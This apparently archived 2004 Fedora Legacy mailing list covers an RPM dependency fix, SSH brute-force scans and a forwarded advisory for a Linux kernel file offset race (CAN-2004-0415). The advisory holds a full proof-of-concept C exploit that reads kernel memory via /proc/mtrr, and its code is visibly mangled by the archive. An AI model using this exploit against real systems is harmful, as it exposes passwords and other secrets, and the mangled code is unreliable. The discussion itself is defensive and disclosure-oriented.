From mkratz at internode.com.au Tue Aug 3 07:33:16 2004 From: mkratz at internode.com.au (Michael Kratz) Date: Tue, 03 Aug 2004 17:03:16 +0930 Subject: RPM conflicts between glibc-devel and glibc-kernheaders Message-ID: <410F3FBC.70009@internode.com.au> Hi, I'm trying to upgrade my (now) redhat 7.2 box to redhat 7.3 However one issue I've come across is glibc-devel... when I try to upgrade glibc-devel I get this issue: I will install/upgrade these to satisfy the dependencies: [deps: glibc-devel.i386] [deps: glibc-kernheaders.i386] Is this ok [y/N]: y Getting glibc-devel-2.2.5-44.i386.rpm Getting glibc-kernheaders-2.4-7.16.i386.rpm Calculating available disk space - this could take a bit Errors installing: ('file /usr/include/sys/acct.h conflicts between attempted installs of glibc-devel-2.2.5-44 and glibc-kernheaders-2.4-7.16', (6, '/usr/include/sys/acct.h', 0L)) it then lists a whole swag of files... 1. anyone know why is this occuring? 2. can I override it by installing manually and forcing the RPM's? is this likely to bork anything? Cheers, Michael From juri at koschikode.com Tue Aug 3 11:33:12 2004 From: juri at koschikode.com (Juri Haberland) Date: Tue, 03 Aug 2004 13:33:12 +0200 Subject: RPM conflicts between glibc-devel and glibc-kernheaders In-Reply-To: <410F3FBC.70009@internode.com.au> References: <410F3FBC.70009@internode.com.au> Message-ID: <410F77F8.30305@koschikode.com> Michael Kratz schrieb: > Hi, > > I'm trying to upgrade my (now) redhat 7.2 box to redhat 7.3 > > However one issue I've come across is glibc-devel... when I try to > upgrade glibc-devel I get this issue: > > > I will install/upgrade these to satisfy the dependencies: > [deps: glibc-devel.i386] > [deps: glibc-kernheaders.i386] > Is this ok [y/N]: y > > Getting glibc-devel-2.2.5-44.i386.rpm > Getting glibc-kernheaders-2.4-7.16.i386.rpm > Calculating available disk space - this could take a bit > Errors installing: > ('file /usr/include/sys/acct.h conflicts between attempted installs of > glibc-devel-2.2.5-44 and glibc-kernheaders-2.4-7.16', (6, > '/usr/include/sys/acct.h', 0L)) > > > it then lists a whole swag of files... > > 1. anyone know why is this occuring? > 2. can I override it by installing manually and forcing the RPM's? is > this likely to bork anything? Hmm, there must be something wrong at your side. I did such an upgrade myself a couple of days ago and it went smooth without any error. Also my glibc-kernheaders package does not include any files in /usr/lib/sys/. Are you sure that you changed the yum.conf to point at the 7.3 repository? Are you doing a 'yum update' or a 'yum upgrade'? Regards, Juri From mkratz at internode.com.au Tue Aug 3 12:04:31 2004 From: mkratz at internode.com.au (Michael Kratz) Date: Tue, 03 Aug 2004 21:34:31 +0930 Subject: RPM conflicts between glibc-devel and glibc-kernheaders In-Reply-To: <410F77F8.30305@koschikode.com> References: <410F3FBC.70009@internode.com.au> <410F77F8.30305@koschikode.com> Message-ID: <410F7F4F.1090006@internode.com.au> I was doing yum update, with the aim of doing a yum upgrade after installing a few more packages manually. To get around it I removed gcc and glibc-devel. I ended up doing a yum upgrade, and upgraded the whole box to 7.3... then tried installing them again and it still didn't work. It doesn't bother me all that much that they aren't installed, just means that I can't use GCC on that box. -- Cheers, Michael Juri Haberland wrote: > Michael Kratz schrieb: > >>Hi, >> >>I'm trying to upgrade my (now) redhat 7.2 box to redhat 7.3 >> >>However one issue I've come across is glibc-devel... when I try to >>upgrade glibc-devel I get this issue: >> >> >>I will install/upgrade these to satisfy the dependencies: >>[deps: glibc-devel.i386] >>[deps: glibc-kernheaders.i386] >>Is this ok [y/N]: y >> >>Getting glibc-devel-2.2.5-44.i386.rpm >>Getting glibc-kernheaders-2.4-7.16.i386.rpm >>Calculating available disk space - this could take a bit >>Errors installing: >>('file /usr/include/sys/acct.h conflicts between attempted installs of >>glibc-devel-2.2.5-44 and glibc-kernheaders-2.4-7.16', (6, >>'/usr/include/sys/acct.h', 0L)) >> >> >>it then lists a whole swag of files... >> >>1. anyone know why is this occuring? >>2. can I override it by installing manually and forcing the RPM's? is >>this likely to bork anything? > > > Hmm, there must be something wrong at your side. I did such an upgrade > myself a couple of days ago and it went smooth without any error. > Also my glibc-kernheaders package does not include any files in > /usr/lib/sys/. > Are you sure that you changed the yum.conf to point at the 7.3 repository? > Are you doing a 'yum update' or a 'yum upgrade'? > > Regards, > Juri > > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From juri at koschikode.com Tue Aug 3 12:53:22 2004 From: juri at koschikode.com (Juri Haberland) Date: Tue, 03 Aug 2004 14:53:22 +0200 Subject: RPM conflicts between glibc-devel and glibc-kernheaders In-Reply-To: <410F7F4F.1090006@internode.com.au> References: <410F3FBC.70009@internode.com.au> <410F77F8.30305@koschikode.com> <410F7F4F.1090006@internode.com.au> Message-ID: <410F8AC2.40308@koschikode.com> Michael Kratz schrieb: > I was doing yum update, with the aim of doing a yum upgrade after > installing a few more packages manually. > > To get around it I removed gcc and glibc-devel. > > I ended up doing a yum upgrade, and upgraded the whole box to 7.3... > then tried installing them again and it still didn't work. > > It doesn't bother me all that much that they aren't installed, just > means that I can't use GCC on that box. You could try to do an 'yum clean all' and then retry it. Or you try to install glibc-kernheaders first and afterwards glibc-devel. But they shouldn't conflict as they don't share any files. Cheers, Juri From mkratz at internode.com.au Tue Aug 3 14:32:36 2004 From: mkratz at internode.com.au (Michael Kratz) Date: Wed, 04 Aug 2004 00:02:36 +0930 Subject: RPM conflicts between glibc-devel and glibc-kernheaders In-Reply-To: <410F8AC2.40308@koschikode.com> References: <410F3FBC.70009@internode.com.au> <410F77F8.30305@koschikode.com> <410F7F4F.1090006@internode.com.au> <410F8AC2.40308@koschikode.com> Message-ID: <410FA204.4090802@internode.com.au> Juri Haberland wrote: > Or you try to install glibc-kernheaders first and afterwards > glibc-devel. But they shouldn't conflict as they don't share any files. That worked... installed glibc-kernheaders first then glibc-devel and it was happy. Heh! Thanks a lot for your help :) -- Regards, Michael From carwyn at carwyn.com Tue Aug 3 22:23:43 2004 From: carwyn at carwyn.com (Carwyn Edwards) Date: Tue, 03 Aug 2004 23:23:43 +0100 Subject: OpenSSH Message-ID: <4110106F.9060207@carwyn.com> I've recently found an RH9+Legacy machine with a hung sshd just after a bunch of rouge login attempts. At first I thought this was CAN-2003-0695 but looking through rpm changlog that's been plugged. Has anyone else seen any hung sshd processes lately? Any other DDoS upstream issues that might have been missed? I haven't been able to find any yet :-( Carwyn From mburger at bubbanfriends.org Tue Aug 3 22:31:28 2004 From: mburger at bubbanfriends.org (Mike Burger) Date: Tue, 3 Aug 2004 17:31:28 -0500 (EST) Subject: OpenSSH In-Reply-To: <4110106F.9060207@carwyn.com> References: <4110106F.9060207@carwyn.com> Message-ID: There've been a ton of sshd scans/attempts, all over, lately. There was some mention of it on one of the other Red Hat lists. On Tue, 3 Aug 2004, Carwyn Edwards wrote: > > I've recently found an RH9+Legacy machine with a hung sshd just after a > bunch of rouge login attempts. At first I thought this was CAN-2003-0695 > but looking through rpm changlog that's been plugged. > > Has anyone else seen any hung sshd processes lately? Any other DDoS > upstream issues that might have been missed? I haven't been able to find > any yet :-( > > Carwyn > > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list > -- Mike Burger http://www.bubbanfriends.org Visit the Dog Pound II BBS telnet://dogpound2.citadel.org or http://dogpound2.citadel.org To be notified of updates to the web site, visit http://www.bubbanfriends.org/mailman/listinfo/site-update, or send a message to: site-update-request at bubbanfriends.org with a message of: subscribe From jay at bizmanualz.com Tue Aug 3 22:42:51 2004 From: jay at bizmanualz.com (Jay Summers) Date: Tue, 3 Aug 2004 17:42:51 -0500 Subject: OpenSSH In-Reply-To: References: <4110106F.9060207@carwyn.com> Message-ID: <7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com> On Aug 3, 2004, at 5:31 PM, Mike Burger wrote: > There've been a ton of sshd scans/attempts, all over, lately. There > was > some mention of it on one of the other Red Hat lists. Ditto there. I just sent a message today to one of my other user-lists asking about a possible SSH exploit. Is there some kind of new script kiddie script released recently or some kind of h4x0r contest going on? I've seen a different scan on all 3 of my boxes at least every other hour. It probably started occurring more than a week ago. Here's a snip from my logs. Aug 3 06:31:41 www sshd[18216]: Illegal user test from 210.114.220.147 Aug 3 06:31:42 www sshd[18216]: Failed password for illegal user test from 210.114.220.147 port 49847 ssh2 Aug 3 06:31:44 www sshd[18219]: Illegal user guest from 210.114.220.147 Aug 3 06:31:45 www sshd[18219]: Failed password for illegal user guest from 210.114.220.147 port 49881 ssh2 Aug 3 06:32:12 www sshd[18223]: Illegal user test from 210.114.220.147 Aug 3 06:32:12 www sshd[18223]: Failed password for illegal user test from 210.114.220.147 port 50171 ssh2 Aug 3 06:32:14 www sshd[18225]: Illegal user guest from 210.114.220.147 Aug 3 06:32:15 www sshd[18225]: Failed password for illegal user guest from 210.114.220.147 port 50208 ssh2 Regards, Jay From barryn at pobox.com Tue Aug 3 23:01:40 2004 From: barryn at pobox.com (Barry K. Nathan) Date: Tue, 3 Aug 2004 16:01:40 -0700 Subject: OpenSSH In-Reply-To: <7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com> References: <4110106F.9060207@carwyn.com> <7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com> Message-ID: <20040803230140.GA387@ip68-4-98-123.oc.oc.cox.net> On Tue, Aug 03, 2004 at 05:42:51PM -0500, Jay Summers wrote: > Ditto there. I just sent a message today to one of my other user-lists You mean with sshd hanging, or just all the scans? (I've seen the latter but not the former.) It's crackers looking for people who are dumb enough to create an account named "test" with password "test" (or "guest"/"guest") and leave it accessible to anyone on the 'Net. Once they get in, they use kernel exploits to get root (if you have users/admins this dumb, *this* is why you need to keep the kernel up to date!) and then they install a rootkit... These people, whoever they are, are succeding in breaking into more systems than you'd expect... :| -Barry K. Nathan From paul at frields.com Wed Aug 4 00:54:28 2004 From: paul at frields.com (Paul W. Frields) Date: Tue, 03 Aug 2004 20:54:28 -0400 Subject: OpenSSH In-Reply-To: <20040803230140.GA387@ip68-4-98-123.oc.oc.cox.net> References: <4110106F.9060207@carwyn.com> <7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com> <20040803230140.GA387@ip68-4-98-123.oc.oc.cox.net> Message-ID: <1091580868.3495.21.camel@bettie.internal.frields.org> On Tue, 2004-08-03 at 19:01, Barry K. Nathan wrote: > On Tue, Aug 03, 2004 at 05:42:51PM -0500, Jay Summers wrote: > > Ditto there. I just sent a message today to one of my other user-lists > > You mean with sshd hanging, or just all the scans? (I've seen the latter > but not the former.) > > It's crackers looking for people who are dumb enough to create an > account named "test" with password "test" (or "guest"/"guest") and leave > it accessible to anyone on the 'Net. Once they get in, they use kernel > exploits to get root (if you have users/admins this dumb, *this* is why you > need to keep the kernel up to date!) and then they install a rootkit... > > These people, whoever they are, are succeding in breaking into more > systems than you'd expect... :| For more info on SuckIT, the rootkit in question, you can check out some info at, e.g.: http://www.incidents.org/diary.php?date=2004-07-23 http://www.phrack.org/show.php?p=58&a=7 http://www.broadbandreports.com/forum/remark,10854834 I've been getting these for some time now, and the admins I've bothered to contact back have all confirmed they were hacked due to lazy security protocols. Not a fair sampling technique but interesting nonetheless. -- Paul W. Frields, RHCE From michal at harddata.com Wed Aug 4 03:24:36 2004 From: michal at harddata.com (Michal Jaegermann) Date: Tue, 3 Aug 2004 21:24:36 -0600 Subject: OpenSSH In-Reply-To: <7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com>; from jay@bizmanualz.com on Tue, Aug 03, 2004 at 05:42:51PM -0500 References: <4110106F.9060207@carwyn.com> <7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com> Message-ID: <20040803212436.C16588@mail.harddata.com> On Tue, Aug 03, 2004 at 05:42:51PM -0500, Jay Summers wrote: > > Here's a snip > from my logs. > > Aug 3 06:31:41 www sshd[18216]: Illegal user test from 210.114.220.147 > Aug 3 06:31:42 www sshd[18216]: Failed password for illegal user test > from 210.114.220.147 port 49847 ssh2 ..... I recorded a similar pattern from 66.98.186.87 around 18:24 MDT. Looks like results of some script. Michal From jimpop at yahoo.com Wed Aug 4 03:33:38 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Tue, 03 Aug 2004 23:33:38 -0400 Subject: OpenSSH In-Reply-To: <20040803212436.C16588@mail.harddata.com> References: <4110106F.9060207@carwyn.com> <7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com> <20040803212436.C16588@mail.harddata.com> Message-ID: <1091590418.6153.5.camel@blue> All of this reminds me why I run sshd on an unusual port. If I could run httpd on an alternate port I would. :) -Jim P. On Tue, 2004-08-03 at 23:24, Michal Jaegermann wrote: > On Tue, Aug 03, 2004 at 05:42:51PM -0500, Jay Summers wrote: > > > > Here's a snip > > from my logs. > > > > Aug 3 06:31:41 www sshd[18216]: Illegal user test from 210.114.220.147 > > Aug 3 06:31:42 www sshd[18216]: Failed password for illegal user test > > from 210.114.220.147 port 49847 ssh2 > ..... > > I recorded a similar pattern from 66.98.186.87 around 18:24 MDT. > Looks like results of some script. > > Michal > > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From simon at nzservers.com Wed Aug 4 19:38:37 2004 From: simon at nzservers.com (Simon Weller) Date: Wed, 4 Aug 2004 14:38:37 -0500 Subject: SF post - Linux kernel file offset pointer races Message-ID: <200408041438.37481.simon@nzservers.com> Hi all, Paul Starzetz has just posted to SF with proof of concept for some explotiable memory reads. So nice of him to give everyone a little warning prior to releasing a proof of concept. He's suggesting that all 2.4 and all 2.6 kernels are vunerable, and just to make our lives more enjoyable, there are currently no fixes out. regards, Simon -- Simon Weller LPIC-2, BCIP Systems Engineer NZServers LTD http://www.nzservers.com/ U.S. Branch <- To mess up a Linux box, you need to work at it; to mess up your Windows box, you just need to work on it. - Scott Granneman, Security Focus -> From simon at nzservers.com Wed Aug 4 19:42:35 2004 From: simon at nzservers.com (Simon Weller) Date: Wed, 4 Aug 2004 14:42:35 -0500 Subject: copy of SF post on Linux kernel file offset pointer races Message-ID: <200408041442.35062.simon@nzservers.com> Synopsis: ?Linux kernel file offset pointer handling Product: ? Linux kernel Version: ? 2.4 up to to and including 2.4.26, 2.6 up to to and ? ? ? ? ? ?including 2.6.7 Vendor: ? ?http://www.kernel.org/ URL: ? ? ? http://isec.pl/vulnerabilities/isec-0016-procleaks.txt CVE: ? ? ? CAN-2004-0415 Author: ? ?Paul Starzetz Date: ? ? ?Aug 04, 2004 Issue: ====== A ?critical ?security ?vulnerability ?has been found in the Linux kernel code handling 64bit file offset pointers. Details: ======== The ?Linux ?kernel ?offers ?a ?file ?handling ?API ? to ? the ? userland applications. ?Basically ?a ?file ?can ?be identified by a file name and opened through the open(2) system call which ?in ?turn ?returns ?a ?file descriptor for the kernel file object. One ?of ?the ?properties ?of ?the ?file object is something called 'file offset' (f_pos member variable of the file object), which is advanced if one ?reads ?or ?writtes ?to the file. It can also by changed through the lseek(2) system call and identifies the current writing/reading position inside the file image on the media. There ?are two different versions of the file handling API inside recent Linux kernels: the old 32 bit and the new (LFS) ?64 ?bit ?API. ?We ?have identified ?numerous places, where invalid conversions from 64 bit sized file offsets to 32 bit ones as well ?as ?insecure ?access ?to ?the ?file offset member variable take place. We ?have ?found that most of the /proc entries (like /proc/version) leak about one page of unitialized kernel memory ?and ?can ?be ?exploited ?to obtain sensitive data. We ?have ?found ?dozens ?of places with suspicious or bogus code. One of them resides in the MTRR handling code for the i386 architecture: static ssize_t mtrr_read(struct file *file, char *buf, size_t len, ? ? ? ? ? ? ? ? ? ? ? ? ?loff_t *ppos) { [1] if (*ppos >= ascii_buf_bytes) return 0; [2] if (*ppos + len > ascii_buf_bytes) len = ascii_buf_bytes - *ppos; ? ? if ( copy_to_user (buf, ascii_buffer + *ppos, len) ) return -EFAULT; [3] *ppos += len; ? ? return len; } ? /* ?End Function mtrr_read ?*/ It is quite easy to see that since copy_to_user can ?sleep, ?the ?second reference ?to ?*ppos ?may ?use ?another ?value. ?Or in other words, code operating on the file->f_pos variable through a pointer must ?be ?atomic in ?respect ?to ?the current thread. We expect even more troubles in the SMP case though. Exploitation: ============= In the following we want to concentrate onto the mttr.c code, however we think ?that ?also ?other ?f_pos ?handling ?code ?in ?the ?kernel ?may be exploitable. The idea is to use the blocking property of copy_to_user to advance ?the file->f_pos ?file ?offset ?to ?be negative allowing us to bypass the two checks marked with [1] and [2] in the above code. There are two situation where copy_to_user() will sleep if there ?is ?no page ?table entry for the corresponding location in the user buffer used to receive the data: - the underlying buffer maps a file which is ?not ?in ?the ?kernel ?page cache yet. The file content must be read from the disk first - ?the mmap_sem semaphore of the process's VM is in a closed state, that is another thread sharing ?the ?same ?VM ?caused ?a ?down_write ?on ?the semaphore. We ?use the second method as follows. One of two threads sharing same VM issues a madvise(2) call on a VMA that maps some, sufficiently big ?file setting ?the ?madvise ?flag to WILLNEED. This will issue a down_write on the mmap semaphore and schedule a ?read-ahead ?request ?for ?the ?mmaped file. Second thread issues in the mean time a read on the /proc/mtrr file thus going for sleep until the first thread returns from the ?madvise ?system call. ?The ?two threads will be woken up in a FIFO manner thus the first thread will run as first and can advance the file pointer ?of ?the ?proc file ?to ?the ?maximum ?possible ?value ?of 0x7fffffffffffffff while the second thread is still waiting in the scheduler queue for CPU ?(itn ?the non-SMP case). After ?the ?place ?marked ?with [3] has been executed, the file position will have a negative value and the checks [1] and [2] can be passed ?for any ?buffer ?length ?supplied, ?thus ?leaking the kernel memory from the address of ascii_buffer on to the user space. We have attached a proof-of-concept exploit code ?to ?read ?portions ?of kernel ?memory. ?Another ?exploit ?code ?we have at our disposal can use other /proc entries (like /proc/version) to ?read ?one ?page ?of ?kernel memory. Impact: ======= Since no special privileges are required to open the /proc/mtrr file for reading any process may exploit the bug to read ?huge ?parts ?of ?kernel memory. The ?kernel ?memory ?dump ?may ?include ?very sensitive information like hashed passwords from /etc/shadow or even the root passwort. We have found in an experiment that after the root user logged in ?using ssh ?(in our case it was OpenSSH using PAM), the root passwort was keept in kernel memory. This is very suprising since sshd will ?quickly ?clean (overwrite ?with ?zeros) ?the memory portion used to store the password. But the password may have made its way through various kernel paths like pipes or sockets. Tested ?and known to be vulnerable kernel versions are all <= 2.4.26 and <= 2.6.7. All users are encouraged to patch all ?vulnerable ?systems ?as soon ?as appropriate vendor patches are released. There is no hotfix for this vulnerability. Credits: ======== Paul Starzetz has ?identified ?the ?vulnerability ?and performed ?further ?research. COPYING, DISTRIBUTION, AND MODIFICATION OF INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH ?EXPRESS ?PERMISSION ?OF ONE OF THE AUTHORS. Disclaimer: =========== This ?document and all the information it contains are provided "as is", for educational purposes only, without warranty ?of ?any ?kind, ?whether express or implied. The ?authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of ?the ?information ? provided ?in this ?document. ?Liability ?claims regarding damage caused by the use of any information provided, including any kind ?of ?information ?which ?is incomplete or incorrect, will therefore be rejected. Appendix: ========= /* ?* ?* ?/proc ppos kernel memory read (semaphore method) ?* ?* ?gcc -O3 proc_kmem_dump.c -o proc_kmem_dump ?* ?* ?Copyright (c) 2004 ?iSEC Security Research. All Rights Reserved. ?* ?* ?THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" ?* ?AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION ?* ?WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. ?* ?*/ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include // ?define machine mem size in MB #define MEMSIZE 64 _syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res, ? ? ? ? ? uint, wh); void fatal(const char *msg) { ? ? printf("0); ? ? if(!errno) { ? ? ? ? fprintf(stderr, "FATAL ERROR: %s0, msg); ? ? } ? ? else { ? ? ? ? perror(msg); ? ? } ? ? printf("0); ? ? fflush(stdout); ? ? fflush(stderr); ? ? exit(31337); } static int cpid, nc, fd, pfd, r=0, i=0, csize, fsize=1024*1024*MEMSIZE, ? ? ? ? ? ?size=PAGE_SIZE, us; static volatile int go[2]; static loff_t off; static char *buf=NULL, *file, child_stack[PAGE_SIZE]; static struct timeval tv1, tv2; static struct stat st; // ?child close sempahore & sleep int start_child(void *arg) { // ?unlock parent & close semaphore ? ? go[0]=0; ? ? madvise(file, csize, MADV_DONTNEED); ? ? madvise(file, csize, MADV_SEQUENTIAL); ? ? gettimeofday(&tv1, NULL); ? ? read(pfd, buf, 0); ? ? go[0]=1; ? ? r = madvise(file, csize, MADV_WILLNEED); ? ? if(r) ? ? ? ? fatal("madvise"); // ?parent blocked on mmap_sem? GOOD! ? ? if(go[1] == 1 || _llseek(pfd, 0, 0, &off, SEEK_CUR)<0 ) { ? ? ? ? r = _llseek(pfd, 0x7fffffff, 0xffffffff, &off, SEEK_SET); ? ? ? ? ? ? if( r == -1 ) ? ? ? ? ? ? ? ? fatal("lseek"); ? ? ? ? printf("0 Race won!"); fflush(stdout); ? ? ? ? go[0]=2; ? ? } else { ? ? ? ? printf("0 Race lost %d, use another file!0, go[1]); ? ? ? ? fflush(stdout); ? ? ? ? kill(getppid(), SIGTERM); ? ? } ? ? _exit(1); return 0; } void usage(char *name) { ? ? printf("0SAGE: %s ", name); ? ? printf("0); ? ? exit(1); } int main(int ac, char **av) { ? ? if(ac<2) ? ? ? ? usage(av[0]); // ?mmap big file not in cache ? ? r=stat(av[1], &st); ? ? if(r) ? ? ? ? fatal("stat file"); ? ? csize = (st.st_size + (PAGE_SIZE-1)) & ~(PAGE_SIZE-1); ? ? fd=open(av[1], O_RDONLY); ? ? if(fd<0) ? ? ? ? fatal("open file"); ? ? file=mmap(NULL, csize, PROT_READ, MAP_SHARED, fd, 0); ? ? if(file==MAP_FAILED) ? ? ? ? fatal("mmap"); ? ? close(fd); ? ? printf("0 mmaped uncached file at %p - %p", file, file+csize); ? ? fflush(stdout); ? ? pfd=open("/proc/mtrr", O_RDONLY); ? ? if(pfd<0) ? ? ? ? fatal("open"); ? ? fd=open("kmem.dat", O_RDWR|O_CREAT|O_TRUNC, 0644); ? ? if(fd<0) ? ? ? ? fatal("open data"); ? ? r=ftruncate(fd, fsize); ? ? if(r<0) ? ? ? ? fatal("ftruncate"); ? ? buf=mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); ? ? if(buf==MAP_FAILED) ? ? ? ? fatal("mmap"); ? ? close(fd); ? ? printf("0 mmaped kernel data file at %p", buf); ? ? fflush(stdout); // ?clone thread wait for child sleep ? ? nc = nice(0); ? ? cpid=clone(&start_child, child_stack + sizeof(child_stack)-4, ? ? ? ? ? ?CLONE_FILES|CLONE_VM, NULL); ? ? nice(19-nc); ? ? while(go[0]==0) { ? ? ? ? i++; ? ? } // ?try to read & sleep & move fpos to be negative ? ? gettimeofday(&tv1, NULL); ? ? go[1] = 1; ? ? r = read(pfd, buf, size ); ? ? go[1] = 2; ? ? gettimeofday(&tv2, NULL); ? ? if(r<0) ? ? ? ? fatal("read"); ? ? while(go[0]!=2) { ? ? ? ? i++; ? ? } ? ? us = tv2.tv_sec - tv1.tv_sec; ? ? us *= 1000000; ? ? us += (tv2.tv_usec - tv1.tv_usec) ; ? ? printf("0 READ %d bytes in %d usec", r, us); fflush(stdout); ? ? r = _llseek(pfd, 0, 0, &off, SEEK_CUR); ? ? if(r < 0 ) { ? ? ? ? printf("0 SUCCESS, lseek fails, reading kernel mem...0); ? ? ? ? fflush(stdout); ? ? ? ? i=0; ? ? ? ? for(;;) { ? ? ? ? ? ? r = read(pfd, buf, PAGE_SIZE ); ? ? ? ? ? ? if(r!=PAGE_SIZE) ? ? ? ? ? ? ? ? break; ? ? ? ? ? ? buf += PAGE_SIZE; ? ? ? ? ? ? i++; ? ? ? ?PAGE %6d", i); fflush(stdout); ? ? ? ? ? ? printf(" ? ? ? ? } ? ? ? ? printf("0 done, err=%s", strerror(errno) ); ? ? ? ? fflush(stdout); ? ? } ? ? close(pfd); ? ? printf("0); ? ? sleep(1); ? ? kill(cpid, 9); return 0; } -- Paul Starzetz iSEC Security Research http://isec.pl/ -- Simon Weller LPIC-2, BCIP Systems Engineer NZServers LTD http://www.nzservers.com/ U.S. Branch <- To mess up a Linux box, you need to work at it; to mess up your Windows box, you just need to work on it. - Scott Granneman, Security Focus -> From jonny.strom at netikka.fi Wed Aug 4 19:43:56 2004 From: jonny.strom at netikka.fi (Johnny Strom) Date: Wed, 04 Aug 2004 22:43:56 +0300 Subject: SF post - Linux kernel file offset pointer races In-Reply-To: <200408041438.37481.simon@nzservers.com> References: <200408041438.37481.simon@nzservers.com> Message-ID: <41113C7C.6060006@netikka.fi> Simon Weller wrote: > Hi all, > > Paul Starzetz has just posted to SF with proof of concept for some explotiable > memory reads. > > > So nice of him to give everyone a little warning prior to releasing a proof of > concept. > > > He's suggesting that all 2.4 and all 2.6 kernels are vunerable, and just to > make our lives more enjoyable, there are currently no fixes out. > I think there are fixes out, in here: http://www.uwsg.iu.edu/hypermail/linux/kernel/0408.0/0654.html Cheers Johnny > regards, > > Simon From ebrown at lanl.gov Wed Aug 4 19:44:51 2004 From: ebrown at lanl.gov (Ed Brown) Date: Wed, 04 Aug 2004 13:44:51 -0600 Subject: SF post - Linux kernel file offset pointer races In-Reply-To: <200408041438.37481.simon@nzservers.com> References: <200408041438.37481.simon@nzservers.com> Message-ID: <1091648691.8867.292.camel@edbrown.lanl.gov> There are updates out already for RHEL2.1 and 3. Their security advisory added: "These packages contain a patch written by Al Viro to correct these flaws. Red Hat would like to thank iSEC Security Research for disclosing this issue and a number of vendor-sec participants for reviewing and working on the patch to this issue." -Ed On Wed, 2004-08-04 at 13:38, Simon Weller wrote: > Hi all, > > Paul Starzetz has just posted to SF with proof of concept for some explotiable > memory reads. > > > So nice of him to give everyone a little warning prior to releasing a proof of > concept. > > > He's suggesting that all 2.4 and all 2.6 kernels are vunerable, and just to > make our lives more enjoyable, there are currently no fixes out. > > regards, > > Simon From simon at nzservers.com Wed Aug 4 19:51:57 2004 From: simon at nzservers.com (Simon Weller) Date: Wed, 4 Aug 2004 14:51:57 -0500 Subject: SF post - Linux kernel file offset pointer races In-Reply-To: <1091648691.8867.292.camel@edbrown.lanl.gov> References: <200408041438.37481.simon@nzservers.com> <1091648691.8867.292.camel@edbrown.lanl.gov> Message-ID: <200408041451.57582.simon@nzservers.com> I guess we better bump priority of these then, as they look pretty nasty at first glance. - Si On Wednesday 04 August 2004 02:44 pm, Ed Brown wrote: > There are updates out already for RHEL2.1 and 3. Their security > advisory added: > > "These packages contain a patch written by Al Viro to correct these > flaws. > Red Hat would like to thank iSEC Security Research for disclosing this > issue and a number of vendor-sec participants for reviewing and working > on the patch to this issue." > > -Ed > > On Wed, 2004-08-04 at 13:38, Simon Weller wrote: > > Hi all, > > > > Paul Starzetz has just posted to SF with proof of concept for some > > explotiable memory reads. > > > > > > So nice of him to give everyone a little warning prior to releasing a > > proof of concept. > > > > > > He's suggesting that all 2.4 and all 2.6 kernels are vunerable, and just > > to make our lives more enjoyable, there are currently no fixes out. > > > > regards, > > > > Simon > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list -- Simon Weller LPIC-2, BCIP Systems Engineer NZServers LTD http://www.nzservers.com/ U.S. Branch <- To mess up a Linux box, you need to work at it; to mess up your Windows box, you just need to work on it. - Scott Granneman, Security Focus -> From simon at nzservers.com Wed Aug 4 20:02:49 2004 From: simon at nzservers.com (Simon Weller) Date: Wed, 4 Aug 2004 15:02:49 -0500 Subject: SF post - Linux kernel file offset pointer races In-Reply-To: <1091648691.8867.292.camel@edbrown.lanl.gov> References: <200408041438.37481.simon@nzservers.com> <1091648691.8867.292.camel@edbrown.lanl.gov> Message-ID: <200408041502.49709.simon@nzservers.com> I guess I owe Paul Starzetz an apology for slanting his good name :-( Although it seems unfortunate that very few distributions are on top of this issue. regards, Simon On Wednesday 04 August 2004 02:44 pm, Ed Brown wrote: > There are updates out already for RHEL2.1 and 3. Their security > advisory added: > > "These packages contain a patch written by Al Viro to correct these > flaws. > Red Hat would like to thank iSEC Security Research for disclosing this > issue and a number of vendor-sec participants for reviewing and working > on the patch to this issue." > > -Ed > > On Wed, 2004-08-04 at 13:38, Simon Weller wrote: > > Hi all, > > > > Paul Starzetz has just posted to SF with proof of concept for some > > explotiable memory reads. > > > > > > So nice of him to give everyone a little warning prior to releasing a > > proof of concept. > > > > > > He's suggesting that all 2.4 and all 2.6 kernels are vunerable, and just > > to make our lives more enjoyable, there are currently no fixes out. > > > > regards, > > > > Simon > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list -- Simon Weller LPIC-2, BCIP Systems Engineer NZServers LTD http://www.nzservers.com/ U.S. Branch <- To mess up a Linux box, you need to work at it; to mess up your Windows box, you just need to work on it. - Scott Granneman, Security Focus -> From jimpop at yahoo.com Thu Aug 5 06:22:58 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Thu, 05 Aug 2004 02:22:58 -0400 Subject: Kernel update advisory text to approve... In-Reply-To: <1090020882.13707.10.camel@mdlinux> References: <1090020882.13707.10.camel@mdlinux> Message-ID: <1091686978.3423.1.camel@blue> -Jim P. On Fri, 2004-07-16 at 19:34, Marc Deslauriers wrote: > Fedora Legacy will be releasing a kernel update soon. There have been so > many changes to the new version, I would like a few people to make sure > we've got everything covered in the release write-up. > > Here's the proposed release announcement. Please compare it to bug #1484 > to make sure I didn't leave anything out, or to check my awful grammar. > :) > > Thanks, > > Marc. > From peter.abraham at dynamicnet.net Thu Aug 5 12:13:56 2004 